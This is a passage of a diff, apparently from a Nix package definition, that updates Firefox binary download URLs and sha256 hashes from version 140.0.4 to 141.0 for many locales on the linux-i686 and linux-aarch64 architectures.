+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/si/firefox-141.0.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "8815c0a8fba1b3d877f4ed563ee6b197ceac5eeb726acdb0d78a32dac7266ab1";
+      sha256 = "fda117580f2aeb783303ce104baaea184fd5462bf8f4e48220050762b6be7b1b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/sk/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/sk/firefox-141.0.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "f177a066c7844baee30c7a36c409b32806f183006e2a31fa3ba004ab62fcfdc3";
+      sha256 = "d2789b826380a3f57db217d641a32619b15e95d4539fa308efa3d78096cbae4f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/skr/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/skr/firefox-141.0.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "cc6acfdd37ce3a9879dcf5ee9d5f38c429eaf249c4f7176c02380d71d0801791";
+      sha256 = "ae9c3b5b57cf9692978ffe016aa19e68440e1ba4a606284796d8782de15bf0c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/sl/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/sl/firefox-141.0.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "ba3d208c9c962823357250878e2f0009e3f58f4d1b30b2899ee2082a7a5ed3d4";
+      sha256 = "86f5a3b52584f83219d5a98f6068afd0cd94643f33e8349b2e66f49bc801add3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/son/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/son/firefox-141.0.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "7bc3d7fad830deecb63ebb36fbc0d840370e4cb8c745912f7c6137a009754e5a";
+      sha256 = "bbe1ad142243cbd2fe3321c30da9e615470f8c3682d42b9e1d0482220a6998cb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/sq/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/sq/firefox-141.0.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "27bbf9aa13ef2165309ec386115d79451db291ea8a248d8f8680092fbcbd1a8a";
+      sha256 = "42e2d7c7f12fab825a4be15acf4d03902e4120003dcd2a5d3b59d106038a481e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/sr/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/sr/firefox-141.0.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "f90cfb58f79ae2550f847eb904861e5f7c86c2a6e098ea5f1454dc3e1f5a5306";
+      sha256 = "e934b45befcb444a004c81f101bb53838d4376bc05e254ca4ea4ae0d1d750c03";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/sv-SE/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/sv-SE/firefox-141.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "6d6e809c8883a51082fe1a3e6dfc2903904377c51bd103cfada00935c905daba";
+      sha256 = "892086ab14cf38c9a601aa9854f52f8b5d499bbc63b0197f1ecad46d60e67a93";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/szl/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/szl/firefox-141.0.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "29192ac2b94d1d96020ece1c6fc8b33e65eec9c2cdf7b438f0e5b7df0b851e09";
+      sha256 = "af0e5fdc9aff9732d9664b737e2c4b70f6f2a8ac623b8935808eb716128ae583";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ta/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ta/firefox-141.0.tar.xz";
       locale = "ta";
       arch = "linux-i686";
-      sha256 = "979babaf05ebc2c16bf2da8d279f6f3828f048aac6d04e2dd86dc7f4fcc554d6";
+      sha256 = "527a976bc63260fa6af3cfb327afab823596a6b10fffbe8310040b26a0195089";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/te/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/te/firefox-141.0.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "7c7da8dadec29b82e314d7912bda12fa293e11e94f7868063d4dd94407dc2bf5";
+      sha256 = "6ad09f6a85513a6bcfd8b30198f279b8084babe1c099927bd5fbf2532d915947";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/tg/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/tg/firefox-141.0.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "9115f96a39349f10579c2cde41913cdde6eecf04543caac8c6a35c52c4e5add4";
+      sha256 = "35ed5298274b54d13285d2dfbe1c5264e264a51991f3681fc756872a6a951428";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/th/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/th/firefox-141.0.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "6c0b244c8a6ee15c8f5b0f0bf5ce0e31af2d99d20d734d21b6e6ce18ac567d84";
+      sha256 = "f16ac55a1453cecda0bc2741b93f078836ef9dfd9cca2991b7c299b34a58f40c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/tl/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/tl/firefox-141.0.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "1cd80d936cd748cb208c47e2f0b5f3f69f22fc24621b02c22cd53b60b9115583";
+      sha256 = "0ed960bed6664da92bab23f2ac0a2d62a00c587dcbc1a854e71ff7a9e7477996";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/tr/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/tr/firefox-141.0.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "60ed67df6ffea409dc5e4ac797377a6e70c209df5f75c7d973eadc4b01d64445";
+      sha256 = "65396ce695c8b71ff1ef0cc09b461a17b8724c05a8938d5ac11032f4f4974bb5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/trs/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/trs/firefox-141.0.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "acd9b73c34d44f136fe10cc6fb02b2e61a0c0e4c1f0d7b90b69c1f2dd37e3cd2";
+      sha256 = "a30ee9bfd5e5cfb3b29d4140fe12d8a920d2baf3d449409a15e32beac3fe378c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/uk/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/uk/firefox-141.0.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "0317a19713592c74d4c63985343aa19c5bf4b5a03d888e2dd1f6f8e6df57c411";
+      sha256 = "45f53bd8e2b3c03211ec56c6ccf24d415fb1aa8f68809db9438a6138491eb748";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ur/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ur/firefox-141.0.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "20a209284bf272b652bddec3c5e7ade62281b08c2d4cb9f64daad729bf68de41";
+      sha256 = "43f14388598c3b48436f4d705606387b1bf1df547ba933b26f0787ee026139c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/uz/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/uz/firefox-141.0.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "f751e5ca2598227f47d947616f489f7f7d68dae18aab7d98723d840db3d3eed0";
+      sha256 = "0fdc2dfb461538bafba3fccabaabc2230010bc95dd134c8a2a463053f1b96de1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/vi/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/vi/firefox-141.0.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "d4f49dda1cf6095b3efd018825c0a486e339685b5e036ec24839fb970cb64a9a";
+      sha256 = "eb87d5242ce8cf0bd02e514c653cabd90be2b4d53ee02a8db9306fbf1972cc0f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/xh/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/xh/firefox-141.0.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "21c8dae0e3d167785cc6836d6e84b0002b3ecfd078026cecdfd56c4f78b4ad61";
+      sha256 = "c8b117266ba61ae9731854a437769d53bdbb1081bcab25cf3e2bcd9ac4a98f4d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/zh-CN/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/zh-CN/firefox-141.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "ec63201dc79770db65338212096adb556bbd6dbfd4dd437f65828020f3c084ce";
+      sha256 = "420b8386d740c7bb77a0ca1cdeab0d0e6b58601664d085759cc96837949f4a61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/zh-TW/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/zh-TW/firefox-141.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "880a92add3be7ef80e53906949732f5be0de4b5f8160b9573cbcd73b977f2918";
+      sha256 = "94c3bb09d5ee8fcbc09aa03b8204de23926f4c16aab3f4552c464a9c9b194418";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ach/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ach/firefox-141.0.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "ee6a2f927fceac0a29b482d26196cb548d947533271c24b29be8e18f1bcb023e";
+      sha256 = "7a6bbb01b346c6cd60e9674e85590752d918b961190cb3a9ba075d5a71d1ab9c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/af/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/af/firefox-141.0.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "3509f5a61f54ff9cf90323b6916ebbf0d090c79696fcf59c5b75c8b265307d57";
+      sha256 = "c3a9eee6c157c60a95c44c7f2f39bb60480f8f2c8d1801c66db8e16d8c0c2927";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/an/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/an/firefox-141.0.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "7bba810d969a564349e6fec524735fa8b112baa736d6fb89c2e9408ecf9b6f3e";
+      sha256 = "d6c2a84edd6fde2f95a1d6bf9e2033fefdf54c693312b36430a1b9314c963ce5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ar/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ar/firefox-141.0.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "3d894a428a8d21831ee740b08362cf5ee4f3e801dd79dfdeda5035e1744581b9";
+      sha256 = "8788255c91d0234e5bd0a040a56b4c47a424dd14b636dc871ab4897a9c10d6a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ast/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ast/firefox-141.0.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "b326e605e76a2ab98e76524a7f492b78e2a09d0780665966ca535d339fc9c1a3";
+      sha256 = "876451d2a8cf20e00358d0d083ec96dfee3beb84783897b3f13ee3a8e5f95222";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/az/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/az/firefox-141.0.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "0829bd77aa680c1fa46fbbd1ac8b198f3bf8eb05370a516e8ca45ae5cad1e7f0";
+      sha256 = "e90fadc22db540694fbde1a657c977f1112f4977bcc4a77808714e3bf889ec26";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/be/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/be/firefox-141.0.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "341ad96edc419e1f04124c9f64644f519d4dd0e5330b3cc7c09deb065cac724e";
+      sha256 = "f3021d43d6717bf02dda359e2b0bbaa78322b738b73098d1a67810941c362c64";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/bg/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/bg/firefox-141.0.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "fb3e054b853a1fc6405c6c1fa79a8ba85b90b91f2a5f002746a86116b27359fa";
+      sha256 = "0ab418148f0efa63d95074c32daf7ea576a63e8e1fe2e24bbf9d0250c0048987";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/bn/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/bn/firefox-141.0.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "967d668fdd4d4b7c4400cd97fa5e6def893475f226fc87d3c16f760de2131e36";
+      sha256 = "b9821d01e9b876b2c5cb513df4116df68df9fdcb3dad6ebba0faaef05d34df09";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/br/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/br/firefox-141.0.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "fc5bf2eb28c833ce9327921d31361d689a95be25758decd739e40f9c95254ba1";
+      sha256 = "fe6fca4b69edb9411634a4730683b62f2339ea2d1d42e445fca503caf221d5c7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/bs/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/bs/firefox-141.0.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "4f1a924828e80324e0b2f11c7525b94d079cd68d1291f778bdecc8e705c0af90";
+      sha256 = "24da2ccd8b228097604eb07062d0cf157a08d287d203d6a357c8fe677f7f5f73";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ca-valencia/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ca-valencia/firefox-141.0.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "5c5922151fcec6d24a4720df7d8990060055c0b959c313434018e8dd434527cb";
+      sha256 = "5c95e4bd1af51356d3540520daffc0eee7757402d4de41c719c0a91026178657";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ca/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ca/firefox-141.0.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "c098f2b52b3b616c38065664d4f2e21c6a7a2dc5e4a7f95ea1f644cf0d9c53aa";
+      sha256 = "b7a64d102b944a62d642d04d935cd3b0e84e2bdcc0d44ca1bb85133c793dac3b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/cak/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/cak/firefox-141.0.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "3dd00b15b3d6be7d58826da7f9aebbc9914c9b06bf5e99799cd7c59a0c5288a3";
+      sha256 = "10516973d54f4096590818b0866cb5456b5aa6f83acb91f468554b0cbf6ddb55";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/cs/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/cs/firefox-141.0.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "70556ad2f415e77a310f4665680a2b20bf0e775622ae2313c465e642dd18399a";
+      sha256 = "f2dbb0f36bc09085718641946ecb1b5c43bfb0b9a9a0f40b2b8c16c26a922bfd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/cy/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/cy/firefox-141.0.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
-      sha256 = "e3bcfcb7bdafcdad35e44f2ec05597c1d369f7172c94e83654b6d51b70afbc03";
+      sha256 = "f6b55e30337a59727483175797e353ff338c2494667660dd5ab8d81c0b7504d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/da/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/da/firefox-141.0.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "20232efc4305599d6baeeb5dc408b910ff74758ba71a01db02b1dec386989065";
+      sha256 = "996f07782149a6b29adfb4ba3dfdb7216c1d7b998aa9d417db4813e668297383";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/de/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/de/firefox-141.0.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "5efee132fa89ad0475752616afdd9ba2036c7571254829616430f53a34175300";
+      sha256 = "1989cc6498fbf5d967beb033ab3327286963843ed9ef7c0e27b2a8a7d1a80d55";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/dsb/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/dsb/firefox-141.0.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "a30c1efe29f33a855713fbf8063575f7d49dde6a2616b5fa3cf1c3cf487d37ad";
+      sha256 = "d2f72f233cd0c7fdd93194d4c3c288b64afdc3de8cb18ceaa26ceda338954b97";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/el/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/el/firefox-141.0.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "d4193f216d3b1ac5b40a2fa8c94b45f1ac4531cdf22f3a41c45b840d4d125f1c";
+      sha256 = "3e5e375a63c717b3d7e28824d46a15e23417e783a6ab3bcf725ede324105ac13";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/en-CA/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/en-CA/firefox-141.0.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "227a921b8d40f111a0d0212fe5d44455f20297a210dbb05188f8ed0dda6cebab";
+      sha256 = "fb208ba07b5f7a0ba068452b20cfdbf737db5d58bdbedde4ed1618a361beb83b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/en-GB/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/en-GB/firefox-141.0.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "7240f66b1a87c0b796b254056ce7e8dc644f294fa5156cd7cbdec3f7d1a7792b";
+      sha256 = "68bf68a0710b90fb637fc59f5c522b9c9a9c19636c76ccb44e9c9c5a2e3a7d4d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/en-US/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/en-US/firefox-141.0.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "49da44e2936ef9ce1f11da3630ded25d5c1b6335a8a7594ba448aa54777eefc5";
+      sha256 = "969ed24ac8ac6c85e5f935802d8768b69f7c49ce100ac1d36d1978f17debf42b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/eo/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/eo/firefox-141.0.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "0bae6d02e31658ce42e6abb42ed49ad1af39d8f16284bb9d28124182b35f357d";
+      sha256 = "dcbbf28d4a05dd4b02352f5b4e626bdc2dd1da15c6379e4cc949c3677c4b0813";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/es-AR/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/es-AR/firefox-141.0.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "a2428221a38ddd566dfd4a594060d7aff353e671bce4d130a8f0a5e7bad46903";
+      sha256 = "5288f642e749bcffad30492b86bf47f363cda982fef8f8b903b4c8b1214bbc74";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/es-CL/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/es-CL/firefox-141.0.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "369938be0e9d55b11bf31112c7ab947953be1322c98522ebdd0c4885fb136912";
+      sha256 = "630f95e0a6e7f2744e3b849d961b7a000f0d43afb77bceed99f381cf52dbfb7b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/es-ES/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/es-ES/firefox-141.0.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "91bbd1ad46d76473d48a99ab32ad52aafc6bc4affdf4813309c96a10042dab62";
+      sha256 = "54e7ce5176e6ce1b9414df26e0c9479d8e0bd42775dfc8dd42152c15cde3c706";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/es-MX/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/es-MX/firefox-141.0.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "6f4314b2b0fabf30dbe4ad561c45287199159a03542991666fac5876ff69095e";
+      sha256 = "ed07f411f134bc96e2f0f368d9ec0a523075f453448d91604c1e067969e4b69c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/et/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/et/firefox-141.0.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "f02a0088768be3728906b464b9fa7a5dbc29aca6d453e614954836d4a2a037d4";
+      sha256 = "1166fb557f2e13f78a81ee6df2fbcff0bebd627f300761cbec19b83575ef5f2c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/eu/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/eu/firefox-141.0.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "64fd3f22e97c514b90e40d21eccb3b60cf5e75bc5a1a5e439e32aad8846f0080";
+      sha256 = "9ea87da2a9d3e03d351f99c41c4cf3e50f6c556b78d38ebf87adcca3bdbcb080";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/fa/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/fa/firefox-141.0.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "770254c4417f195e9bdad4de8428688bdc36f25bc3cbacf1f694427f3393d2f1";
+      sha256 = "1e3dc3aa244441fef3fd0134f5099aaba92dbed1c3773c75433299ce82c1a071";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ff/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ff/firefox-141.0.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "5b0375e73dedda5387f80033ced469c7f428096d316731674439cf6a7a049a23";
+      sha256 = "595e9f92b83d39031b3df09de7fc80d6058ef70e7afed640437a370124a3bff9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/fi/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/fi/firefox-141.0.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "50ca8051d24cb8876f1daae33082d4e7ba3c5e37d1a4dd6af8fb50e543365155";
+      sha256 = "91cbe9b2657f322ab712c86c418dd6c921d5dad356be47d8f668e78518ce87c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/fr/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/fr/firefox-141.0.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "7d08364316235d9709a3893efff19ec3b427c9bb2b42525ec9f4b8d3fa93c1b7";
+      sha256 = "fc29a0ce928e15572ee15be76f167dc0cb9a8be41912700c90e3afd7295e264a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/fur/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/fur/firefox-141.0.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "58d796e386371bac0f72e0b42f557dac7af26c4188cb97aee29a99de2f13c1be";
+      sha256 = "fd29448a293003398f1d9a6615b7cf17bfb7989d585335f66cf0f900f5e52511";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/fy-NL/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/fy-NL/firefox-141.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "05f36abc1281d79bf70a83800945d939d7508d1a781f16dd6e89eef67189e1b9";
+      sha256 = "ce98a17fa7ce0c3c0858154faffc94c1d9b5e8933c4c85360a3299aad1d5516e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ga-IE/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ga-IE/firefox-141.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "ea2561f9ad01e1fc9b92da91d855ff9a20d887989616d1bc89874383ce6cfd0a";
+      sha256 = "f783d514e30d966212848e75421542edde43a91a108b5156719b570333d45c6a";
     }
     {
